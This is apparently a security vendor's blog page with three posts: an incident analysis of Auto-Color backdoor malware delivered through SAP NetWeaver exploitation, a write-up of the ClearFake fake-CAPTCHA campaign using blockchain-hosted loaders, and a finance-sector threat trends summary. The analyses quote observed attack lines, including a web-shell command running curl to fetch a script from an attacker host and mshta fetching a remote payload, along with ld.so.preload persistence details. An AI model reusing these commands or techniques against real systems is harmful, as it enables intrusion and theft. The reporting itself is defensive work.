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July 29, 2025

Auto-Color Backdoor: How Darktrace Thwarted a Stealthy Linux Intrusion

This blog examines a real-world Auto-Color malware attack that originated from the exploitation of CVE-2025-31324. Learn how Darktrace identified and contained the threat using AI-driven detection and response, with additional support from its expert analyst team.
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Owen Finn
Cyber Analyst
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29
Jul 2025

In April 2025, Darktrace identified an Auto-Color backdoor malware attack taking place on the network of a US-based chemicals company.

Over the course of three days, a threat actor gained access to the customer’s network, attempted to download several suspicious files and communicated with malicious infrastructure linked to Auto-Color malware.

After Darktrace successfully blocked the malicious activity and contained the attack, the Darktrace Threat Research team conducted a deeper investigation into the malware.

They discovered that the threat actor had exploited CVE-2025-31324 to deploy Auto-Color as part of a multi-stage attack — the first observed pairing of SAP NetWeaver exploitation with the Auto-Color malware.

Furthermore, Darktrace’s investigation revealed that Auto-Color is now employing suppression tactics to cover its tracks and evade detection when it is unable to complete its kill chain.

What is CVE-2025-31324?

On April 24, 2025, the software provider SAP SE disclosed a critical vulnerability in its SAP Netweaver product, namely CVE-2025-31324. The exploitation of this vulnerability would enable malicious actors to upload files to the SAP Netweaver application server, potentially leading to remote code execution and full system compromise. Despite the urgent disclosure of this CVE, the vulnerability has been exploited on several systems [1]. More information on CVE-2025-31324 can be found in our previous discussion.

What is Auto-Color Backdoor Malware?

The Auto-Color backdoor malware, named after its ability to rename itself to “/var/log/cross/auto-color” after execution, was first observed in the wild in November 2024 and is categorized as a Remote Access Trojan (RAT).

Auto-Colour has primarily been observed targeting universities and government institutions in the US and Asia [2].

What does Auto-Color Backdoor Malware do?

It is known to target Linux systems by exploiting built-in system features like ld.so.preload, making it highly evasive and dangerous, specifically aiming for persistent system compromise through shared object injection.

Each instance uses a unique file and hash, due to its statically compiled and encrypted command-and-control (C2) configuration, which embeds data at creation rather than retrieving it dynamically at runtime. The behavior of the malware varies based on the privilege level of the user executing it and the system configuration it encounters.

How does Auto-Color work?

The malware’s process begins with a privilege check; if the malware is executed without root privileges, it skips the library implant phase and continues with limited functionality, avoiding actions that require system-level access, such as library installation and preload configuration, opting instead to maintain minimal activity while continuing to attempt C2 communication. This demonstrates adaptive behavior and an effort to reduce detection when running in restricted environments.

If run as root, the malware performs a more invasive installation, installing a malicious shared object, namely **libcext.so.2**, masquerading as a legitimate C utility library, a tactic used to blend in with trusted system components. It uses dynamic linker functions like dladdr() to locate the base system library path; if this fails, it defaults to /lib.

Gaining persistence through preload manipulation

To ensure persistence, Auto-Color modifies or creates /etc/ld.so.preload, inserting a reference to the malicious library. This is a powerful Linux persistence technique as libraries listed in this file are loaded before any others when running dynamically linked executables, meaning Auto-Color gains the ability to silently hook and override standard system functions across nearly all applications.

Once complete, the ELF binary copies and renames itself to “**/var/log/cross/auto-color**”, placing the implant in a hidden directory that resembles system logs. It then writes the malicious shared object to the base library path.

A delayed payload activated by outbound communication

To complete its chain, Auto-Color attempts to establish an outbound TLS connection to a hardcoded IP over port 443. This enables the malware to receive commands or payloads from its operator via API requests [2].

Interestingly, Darktrace found that Auto-Color suppresses most of its malicious behavior if this connection fails - an evasion tactic commonly employed by advanced threat actors. This ensures that in air-gapped or sandboxed environments, security analysts may be unable to observe or analyze the malware’s full capabilities.

If the C2 server is unreachable, Auto-Color effectively stalls and refrains from deploying its full malicious functionality, appearing benign to analysts. This behavior prevents reverse engineering efforts from uncovering its payloads, credential harvesting mechanisms, or persistence techniques.

In real-world environments, this means the most dangerous components of the malware only activate when the attacker is ready, remaining dormant during analysis or detonation, and thereby evading detection.

Darktrace’s coverage of the Auto-Color malware

Initial alert to Darktrace’s SOC

On April 28, 2025, Darktrace’s Security Operations Centre (SOC) received an alert for a suspicious ELF file downloaded on an internet-facing device likely running SAP Netweaver. ELF files are executable files specific to Linux, and in this case, the unexpected download of one strongly indicated a compromise, marking the delivery of the Auto-Color malware.

Figure 1: A timeline breaking down the stages of the attack

Early signs of unusual activity detected by Darktrace

While the first signs of unusual activity were detected on April 25, with several incoming connections using URIs containing /developmentserver/metadatauploader, potentially scanning for the CVE-2025-31324 vulnerability, active exploitation did not begin until two days later.

Initial compromise via ZIP file download followed by DNS tunnelling requests

In the early hours of April 27, Darktrace detected an incoming connection from the malicious IP address 91.193.19[.]109[.] 6.

The telltale sign of CVE-2025-31324 exploitation was the presence of the URI ‘/developmentserver/metadatauploader?CONTENTTYPE=MODEL&CLIENT=1’, combined with a ZIP file download.

The device immediately made a DNS request for the Out-of-Band Application Security Testing (OAST) domain aaaaaaaaaaaa[.]d06oojugfd4n58p4tj201hmy54tnq4rak[.]oast[.]me.

OAST is commonly used by threat actors to test for exploitable vulnerabilities, but it can also be leveraged to tunnel data out of a network via DNS requests.

Darktrace’s Autonomous Response capability quickly intervened, enforcing a “pattern of life” on the offending device for 30 minutes. This ensured the device could not deviate from its expected behavior or connections, while still allowing it to carry out normal business operations.

Figure 2: Alerts from the device’s Model Alert Log showing possible DNS tunnelling requests to ‘request bin’ services.
Figure 3: Darktrace’s Autonomous Response enforcing a “pattern of life” on the compromised device following a suspicious tunnelling connection.

Continued malicious activity

The device continued to receive incoming connections with URIs containing ‘/developmentserver/metadatauploader’. In total seven files were downloaded (see filenames in Appendix).

Around 10 hours later, the device made a DNS request for ‘ocr-freespace.oss-cn-beijing.aliyuncs[.]com’.

In the same second, it also received a connection from 23.186.200[.]173 with the URI ‘/irj/helper.jsp?cmd=curl -O hxxps://ocr-freespace.oss-cn-beijing.aliyuncs[.]com/2025/config.sh’, which downloaded a shell script named config.sh.

Execution

This script was executed via the helper.jsp file, which had been downloaded during the initial exploit, a technique also observed in similar SAP Netweaver exploits [4].

Darktrace subsequently observed the device making DNS and SSL connections to the same endpoint, with another inbound connection from 23.186.200[.]173 and the same URI observed again just ten minutes later.

The device then went on to make several connections to 47.97.42[.]177 over port 3232, an endpoint associated with Supershell, a C2 platform linked to backdoors and commonly deployed by China-affiliated threat groups [5].

Less than 12 hours later, and just 24 hours after the initial exploit, the attacker downloaded an ELF file from http://146.70.41.178:4444/logs, which marked the delivery of the Auto-Color malware.

Figure 4: Darktrace’s detection of unusual outbound connections and the subsequent file download from http://146.70.41.178:4444/logs, as identified by Cyber AI Analyst.

A deeper investigation into the attack

Darktrace’s findings indicate that CVE-2025-31324 was leveraged in this instance to launch a second-stage attack, involving the compromise of the internet-facing device and the download of an ELF file representing the Auto-Color malware—an approach that has also been observed in other cases of SAP NetWeaver exploitation [4].

Darktrace identified the activity as highly suspicious, triggering multiple alerts that prompted triage and further investigation by the SOC as part of the Darktrace Managed Detection and Response (MDR) service.

During this investigation, Darktrace analysts opted to extend all previously applied Autonomous Response actions for an additional 24 hours, providing the customer’s security team time to investigate and remediate.

Figure 5: Cyber AI Analyst’s investigation into the unusual connection attempts from the device to the C2 endpoint.

At the host level, the malware began by assessing its privilege level; in this case, it likely detected root access and proceeded without restraint. Following this, the malware began the chain of events to establish and maintain persistence on the device, ultimately culminating an outbound connection attempt to its hardcoded C2 server.

Figure 6: Cyber AI Analyst’s investigation into the unusual connection attempts from the device to the C2 endpoint.

Over a six-hour period, Darktrace detected numerous attempted connections to the endpoint 146.70.41[.]178 over port 443. In response, Darktrace’s Autonomous Response swiftly intervened to block these malicious connections.

Given that Auto-Color relies heavily on C2 connectivity to complete its execution and uses shared object preloading to hijack core functions without modifying existing binaries, the absence of a successful connection to its C2 infrastructure (in this case, 146.70.41[.]178) causes the malware to sleep before trying to reconnect.

While Darktrace’s analysis was limited by the absence of a live C2, prior research into its command structure reveals that Auto-Color supports a modular C2 protocol. This includes reverse shell initiation (0x100), file creation and execution tasks (0x2xx), system proxy configuration (0x300), and global payload manipulation (0x4XX). Additionally, core command IDs such as 0,1, 2, 4, and 0xF cover basic system profiling and even include a kill switch that can trigger self-removal of the malware [2]. This layered command set reinforces the malware’s flexibility and its dependence on live operator control.

Thanks to the timely intervention of Darktrace’s SOC team, who extended the Autonomous Response actions as part of the MDR service, the malicious connections remained blocked. This proactive prevented the malware from escalating, buying the customer’s security team valuable time to address the threat.

Conclusion

Ultimately, this incident highlights the critical importance of addressing high-severity vulnerabilities, as they can rapidly lead to more persistent and damaging threats within an organization’s network. Vulnerabilities like CVE-2025-31324 continue to be exploited by threat actors to gain access to and compromise internet-facing systems. In this instance, the download of Auto-Color malware was just one of many potential malicious actions the threat actor could have initiated.

From initial intrusion to the failed establishment of C2 communication, the Auto-Color malware showed a clear understanding of Linux internals and demonstrated calculated restraint designed to minimize exposure and reduce the risk of detection. However, Darktrace’s ability to detect this anomalous activity, and to respond both autonomously and through its MDR offering, ensured that the threat was contained. This rapid response gave the customer’s internal security team the time needed to investigate and remediate, ultimately preventing the attack from escalating further.

Credit to Harriet Rayner (Cyber Analyst), Owen Finn (Cyber Analyst), Tara Gould (Threat Research Lead) and Ryan Traill (Analyst Content Lead)

Appendices

MITRE ATT&CK Mapping

Malware - RESOURCE DEVELOPMENT - T1588.001

Drive-by Compromise - INITIAL ACCESS - T1189

Data Obfuscation - COMMAND AND CONTROL - T1001

Non-Standard Port - COMMAND AND CONTROL - T1571

Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol - EXFILTRATION - T1048.003

Masquerading - DEFENSE EVASION - T1036

Application Layer Protocol - COMMAND AND CONTROL - T1071

Unix Shell – EXECUTION - T1059.004

LC_LOAD_DYLIB Addition – PERSISTANCE - T1546.006

Match Legitimate Resource Name or Location – DEFENSE EVASION - T1036.005

Web Protocols – COMMAND AND CONTROL - T1071.001

Indicators of Compromise (IoCs)

Filenames downloaded:

  • exploit.properties
  • helper.jsp
  • 0KIF8.jsp
  • cmd.jsp
  • test.txt
  • uid.jsp
  • vregrewfsf.jsp

Auto-Color sample:

  • 270fc72074c697ba5921f7b61a6128b968ca6ccbf8906645e796cfc3072d4c43 (sha256)

IP Addresses

  • 146[.]70[.]19[.]122
  • 149[.]78[.]184[.]215
  • 196[.]251[.]85[.]31
  • 120[.]231[.]21[.]8
  • 148[.]135[.]80[.]109
  • 45[.]32[.]126[.]94
  • 110[.]42[.]42[.]64
  • 119[.]187[.]23[.]132
  • 18[.]166[.]61[.]47
  • 183[.]2[.]62[.]199
  • 188[.]166[.]87[.]88
  • 31[.]222[.]254[.]27
  • 91[.]193[.]19[.]109
  • 123[.]146[.]1[.]140
  • 139[.]59[.]143[.]102
  • 155[.]94[.]199[.]59
  • 165[.]227[.]173[.]41
  • 193[.]149[.]129[.]31
  • 202[.]189[.]7[.]77
  • 209[.]38[.]208[.]202
  • 31[.]222[.]254[.]45
  • 58[.]19[.]11[.]97
  • 64[.]227[.]32[.]66

Darktrace Model Detections

Compromise / Possible Tunnelling to Bin Services

Anomalous Server Activity / New User Agent from Internet Facing System

Anomalous File / Incoming ELF File

Anomalous Connection / Application Protocol on Uncommon Port

Anomalous Connection / New User Agent to IP Without Hostname

Experimental / Mismatched MIME Type From Rare Endpoint V4

Compromise / High Volume of Connections with Beacon Score

Device / Initial Attack Chain Activity

Device / Internet Facing Device with High Priority Alert

Compromise / Large Number of Suspicious Failed Connections

Model Alerts for CVE

Compromise / Possible Tunnelling to Bin Services

Compromise / High Priority Tunnelling to Bin Services

Autonomous Response Model Alerts

Antigena / Network::External Threat::Antigena Suspicious File Block

Antigena / Network::External Threat::Antigena File then New Outbound Block

Antigena / Network::Significant Anomaly::Antigena Controlled and Model Alert

Experimental / Antigena File then New Outbound Block

Antigena / Network::External Threat::Antigena Suspicious Activity Block

Antigena / Network::Significant Anomaly::Antigena Alerts Over Time Block

Antigena / Network::Significant Anomaly::Antigena Enhanced Monitoring from Client Block

Antigena / Network::Significant Anomaly::Antigena Enhanced Monitoring from Client Block

Antigena / Network::Significant Anomaly::Antigena Alerts Over Time Block

Antigena / MDR::Model Alert on MDR-Actioned Device

Antigena / Network::Significant Anomaly::Antigena Enhanced Monitoring from Client Block

References

1. [Online] https://onapsis.com/blog/active-exploitation-of-sap-vulnerability-cve-2025-31324/.

2. https://unit42.paloaltonetworks.com/new-linux-backdoor-auto-color/. [Online]

3. [Online] (https://www.darktrace.com/blog/tracking-cve-2025-31324-darktraces-detection-of-sap-netweaver-exploitation-before-and-after-disclosure#:~:text=June%2016%2C%202025-,Tracking%20CVE%2D2025%2D31324%3A%20Darktrace's%20detection%20of%20SAP%20Netweaver,guidance%.

4. [Online] https://unit42.paloaltonetworks.com/threat-brief-sap-netweaver-cve-2025-31324/.

5. [Online] https://www.forescout.com/blog/threat-analysis-sap-vulnerability-exploited-in-the-wild-by-chinese-threat-actor/.

Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Owen Finn
Cyber Analyst

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February 1, 2026

ClearFake: From Fake CAPTCHAs to Blockchain-Driven Payload Retrieval

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What is ClearFake?

As threat actors evolve their techniques to exploit victims and breach target networks, the ClearFake campaign has emerged as a significant illustration of this continued adaptation. ClearFake is a campaign observed using a malicious JavaScript framework deployed on compromised websites, impacting sectors such as e‑commerce, travel, and automotive. First identified in mid‑2023, ClearFake is frequently leveraged to socially engineer victims into installing fake web browser updates.

In ClearFake compromises, victims are steered toward compromised WordPress sites, often positioned by attackers through search engine optimization (SEO) poisoning. Once on the site, users are presented with a fake CAPTCHA. This counterfeit challenge is designed to appear legitimate while enabling the execution of malicious code. When a victim interacts with the CAPTCHA, a PowerShell command containing a download string is retrieved and executed.

Attackers commonly abuse the legitimate Microsoft HTML Application Host (MSHTA) in these operations. Recent campaigns have also incorporated Smart Chain endpoints, such as “bsc-dataseed.binance[.]org,” to obtain configuration code. The primary payload delivered through ClearFake is typically an information stealer, such as Lumma Stealer, enabling credential theft, data exfiltration, and persistent access [1].

Darktrace’s Coverage of ClearFake

Darktrace / ENDPOINT first detected activity likely associated with ClearFake on a single device on over the course of one day on November 18, 2025. The system observed the execution of “mshta.exe,” the legitimate Microsoft HTML Application Host utility. It also noted a repeated process command referencing “weiss.neighb0rrol1[.]ru”, indicating suspicious external activity. Subsequent analysis of this endpoint using open‑source intelligence (OSINT) indicated that it was a malicious, domain generation algorithm (DGA) endpoint [2].

The process line referencing weiss.neighb0rrol1[.]ru, as observed by Darktrace / ENDPOINT.
Figure 1: The process line referencing weiss.neighb0rrol1[.]ru, as observed by Darktrace / ENDPOINT.

This activity indicates that mshta.exe was used to contact a remote server, “weiss.neighb0rrol1[.]ru/rpxacc64mshta,” and execute the associated HTA file to initiate the next stage of the attack. OSINT sources have since heavily flagged this server as potentially malicious [3].

The first argument in this process uses the MSHTA utility to execute the HTA file hosted on the remote server. If successful, MSHTA would then run JavaScript or VBScript to launch PowerShell commands used to retrieve malicious payloads, a technique observed in previous ClearFake campaigns. Darktrace also detected unusual activity involving additional Microsoft executables, including “winlogon.exe,” “userinit.exe,” and “explorer.exe.” Although these binaries are legitimate components of the Windows operating system, threat actors can abuse their normal behavior within the Windows login sequence to gain control over user sessions, similar to the misuse of mshta.exe.

EtherHiding cover

Darktrace also identified additional ClearFake‑related activity, specifically a connection to bsc-testnet.drpc[.]org, a legitimate BNB Smart Chain endpoint. This activity was triggered by injected JavaScript on the compromised site www.allstarsuae[.]com, where the script initiated an eth_call POST request to the Smart Chain endpoint.

Example of a fake CAPTCHA on the compromised site www.allstarsuae[.]com.
Figure 2: Example of a fake CAPTCHA on the compromised site www.allstarsuae[.]com.

EtherHiding is a technique in which threat actors leverage blockchain technology, specifically smart contracts, as part of their malicious infrastructure. Because blockchain is anonymous, decentralized, and highly persistent, it provides threat actors with advantages in evading defensive measures and traditional tracking [4].

In this case, when a user visits a compromised WordPress site, injected base64‑encoded JavaScript retrieved an ABI string, which was then used to load and execute a contract hosted on the BNB Smart Chain.

JavaScript hosted on the compromised site www.allstaruae[.]com.
Figure 3: JavaScript hosted on the compromised site www.allstaruae[.]com.

Conducting malware analysis on this instance, the Base64 decoded into a JavaScript loader. A POST request to bsc-testnet.drpc[.]org was then used to retrieve a hex‑encoded ABI string that loads and executes the contract. The JavaScript also contained hex and Base64‑encoded functions that decoded into additional JavaScript, which attempted to retrieve a payload hosted on GitHub at “github[.]com/PrivateC0de/obf/main/payload.txt.” However, this payload was unavailable at the time of analysis.

Darktrace’s detection of the POST request to bsc-testnet.drpc[.]org.
Figure 4: Darktrace’s detection of the POST request to bsc-testnet.drpc[.]org.
Figure 5: Darktrace’s detection of the executable file and the malicious hostname.

Autonomous Response

As Darktrace’s Autonomous Response capability was enabled on this customer’s network, Darktrace was able to take swift mitigative action to contain the ClearFake‑related activity early, before it could lead to potential payload delivery. The affected device was blocked from making external connections to a number of suspicious endpoints, including 188.114.96[.]6, *.neighb0rrol1[.]ru, and neighb0rrol1[.]ru, ensuring that no further malicious connections could be made and no payloads could be retrieved.

Autonomous Response also acted to prevent the executable mshta.exe from initiating HTA file execution over HTTPS from this endpoint by blocking the attempted connections. Had these files executed successfully, the attack would likely have resulted in the retrieval of an information stealer, such as Lumma Stealer.

Autonomous Response’s intervention against the suspicious connectivity observed.
Figure 6: Autonomous Response’s intervention against the suspicious connectivity observed.

Conclusion

ClearFake continues to be observed across multiple sectors, but Darktrace remains well‑positioned to counter such threats. Because ClearFake’s end goal is often to deliver malware such as information stealers and malware loaders, early disruption is critical to preventing compromise. Users should remain aware of this activity and vigilant regarding fake CAPTCHA pop‑ups. They should also monitor unusual usage of MSHTA and outbound connections to domains that mimic formats such as “bsc-dataseed.binance[.]org” [1].

In this case, Darktrace was able to contain the attack before it could successfully escalate and execute. The attempted execution of HTA files was detected early, allowing Autonomous Response to intervene, stopping the activity from progressing. As soon as the device began communicating with weiss.neighb0rrol1[.]ru, an Autonomous Response inhibitor triggered and interrupted the connections.

As ClearFake continues to rise, users should stay alert to social engineering techniques, including ClickFix, that rely on deceptive security prompts.

Credit to Vivek Rajan (Senior Cyber Analyst) and Tara Gould (Malware Research Lead)

Edited by Ryan Traill (Analyst Content Lead)

Appendices

Darktrace Model Detections

Process / New Executable Launched

Endpoint / Anomalous Use of Scripting Process

Endpoint / New Suspicious Executable Launched

Endpoint / Process Connection::Unusual Connection from New Process

Autonomous Response Models

Antigena / Network::Significant Anomaly::Antigena Significant Anomaly from Client Block

List of Indicators of Compromise (IoCs)

  • weiss.neighb0rrol1[.]ru – URL - Malicious Domain
  • 188.114.96[.]6 – IP – Suspicious Domain
  • *.neighb0rrol1[.]ru – URL – Malicious Domain

MITRE Tactics

Initial Access, Drive-by Compromise, T1189

User Execution, Execution, T1204

Software Deployment Tools, Execution and Lateral Movement, T1072

Command and Scripting Interpreter, T1059

System Binary Proxy Execution: MSHTA, T1218.005

References

1.        https://www.kroll.com/en/publications/cyber/rapid-evolution-of-clearfake-delivery

2.        https://www.virustotal.com/gui/domain/weiss.neighb0rrol1.ru

3.        https://www.virustotal.com/gui/file/1f1aabe87e5e93a8fff769bf3614dd559c51c80fc045e11868f3843d9a004d1e/community

4.        https://www.packetlabs.net/posts/etherhiding-a-new-tactic-for-hiding-malware-on-the-blockchain/

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Vivek Rajan
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January 30, 2026

The State of Cybersecurity in the Finance Sector: Six Trends to Watch

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The evolving cybersecurity threat landscape in finance

The financial sector, encompassing commercial banks, credit unions, financial services providers, and cryptocurrency platforms, faces an increasingly complex and aggressive cyber threat landscape. The financial sector’s reliance on digital infrastructure and its role in managing high-value transactions make it a prime target for both financially motivated and state-sponsored threat actors.

Darktrace’s latest threat research, The State of Cybersecurity in the Finance Sector, draws on a combination of Darktrace telemetry data from real-world customer environments, open-source intelligence, and direct interviews with financial-sector CISOs to provide perspective on how attacks are unfolding and how defenders in the sector need to adapt.  

Six cybersecurity trends in the finance sector for 2026

1. Credential-driven attacks are surging

Phishing continues to be a leading initial access vector for attacks targeting confidentiality. Financial institutions are frequently targeted with phishing emails designed to harvest login credentials. Techniques including Adversary-in-The-Middle (AiTM) to bypass Multi-factor Authentication (MFA) and QR code phishing (“quishing”) are surging and are capable of fooling even trained users. In the first half of 2025, Darktrace observed 2.4 million phishing emails within financial sector customer deployments, with almost 30% targeted towards VIP users.  

2. Data Loss Prevention is an increasing challenge

Compliance issues – particularly data loss prevention -- remain a persistent risk. In October 2025 alone, Darktrace observed over 214,000 emails across financial sector customers that contained unfamiliar attachments and were sent to suspected personal email addresses highlighting clear concerns around data loss prevention. Across the same set of customers within the same time frame, more than 351,000 emails containing unfamiliar attachments were sent to freemail addresses (e.g. gmail, yahoo, icloud), highlighting clear concerns around DLP.  

Confidentiality remains a primary concern for financial institutions as attackers increasingly target sensitive customer data, financial records, and internal communications.  

3. Ransomware is evolving toward data theft and extortion

Ransomware is no longer just about locking systems, it’s about stealing data first and encrypting second. Groups such as Cl0p and RansomHub now prioritize exploiting trusted file-transfer platforms to exfiltrate sensitive data before encryption, maximizing regulatory and reputational fallout for victims.  

Darktrace’s threat research identified routine scanning and malicious activity targeting internet-facing file-transfer systems used heavily by financial institutions. In one notable case involving Fortra GoAnywhere MFT, Darktrace detected malicious exploitation behavior six days before the CVE was publicly disclosed, demonstrating how attackers often operate ahead of patch cycles

This evolution underscores a critical reality: by the time a vulnerability is disclosed publicly, it may already be actively exploited.

4. Attackers are exploiting edge devices, often pre-disclosure.  

VPNs, firewalls, and remote access gateways have become high-value targets, and attackers are increasingly exploiting them before vulnerabilities are publicly disclosed. Darktrace observed pre-CVE exploitation activity affecting edge technologies including Citrix, Palo Alto, and Ivanti, enabling session hijacking, credential harvesting, and privileged lateral movement into core banking systems.  

Once compromised, these edge devices allow adversaries to blend into trusted network traffic, bypassing traditional perimeter defenses. CISOs interviewed for the report repeatedly described VPN infrastructure as a “concentrated focal point” for attackers, especially when patching and segmentation lag behind operational demands.

5. DPRK-linked activity is growing across crypto and fintech.  

State-sponsored activity, particularly from DPRK-linked groups affiliated with Lazarus, continues to intensify across cryptocurrency and fintech organizations. Darktrace identified coordinated campaigns leveraging malicious npm packages, previously undocumented BeaverTail and InvisibleFerret malware, and exploitation of React2Shell (CVE-2025-55182) for credential theft and persistent backdoor access.  

Targeting was observed across the United Kingdom, Spain, Portugal, Sweden, Chile, Nigeria, Kenya, and Qatar, highlighting the global scope of these operations.  

6. Cloud complexity and AI governance gaps are now systemic risks.  

Finally, CISOs consistently pointed to cloud complexity, insider risk from new hires, and ungoverned AI usage exposing sensitive data as systemic challenges. Leaders emphasized difficulty maintaining visibility across multi-cloud environments while managing sensitive data exposure through emerging AI tools.  

Rapid AI adoption without clear guardrails has introduced new confidentiality and compliance risks, turning governance into a board-level concern rather than a purely technical one.

Building cyber resilience in a shifting threat landscape

The financial sector remains a prime target for both financially motivated and state-sponsored adversaries. What this research makes clear is that yesterday’s security assumptions no longer hold. Identity attacks, pre-disclosure exploitation, and data-first ransomware require adaptive, behavior-based defenses that can detect threats as they emerge, often ahead of public disclosure.

As financial institutions continue to digitize, resilience will depend on visibility across identity, edge, cloud, and data, combined with AI-driven defense that learns at machine speed.  

Learn more about the threats facing the finance sector, and what your organization can do to keep up in The State of Cybersecurity in the Finance Sector report here.  

Acknowledgements:

The State of Cybersecurity in the Finance sector report was authored by Calum Hall, Hugh Turnbull, Parvatha Ananthakannan, Tiana Kelly, and Vivek Rajan, with contributions from Emma Foulger, Nicole Wong, Ryan Traill, Tara Gould, and the Darktrace Threat Research and Incident Management teams.

[related-resource]  

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Nathaniel Jones
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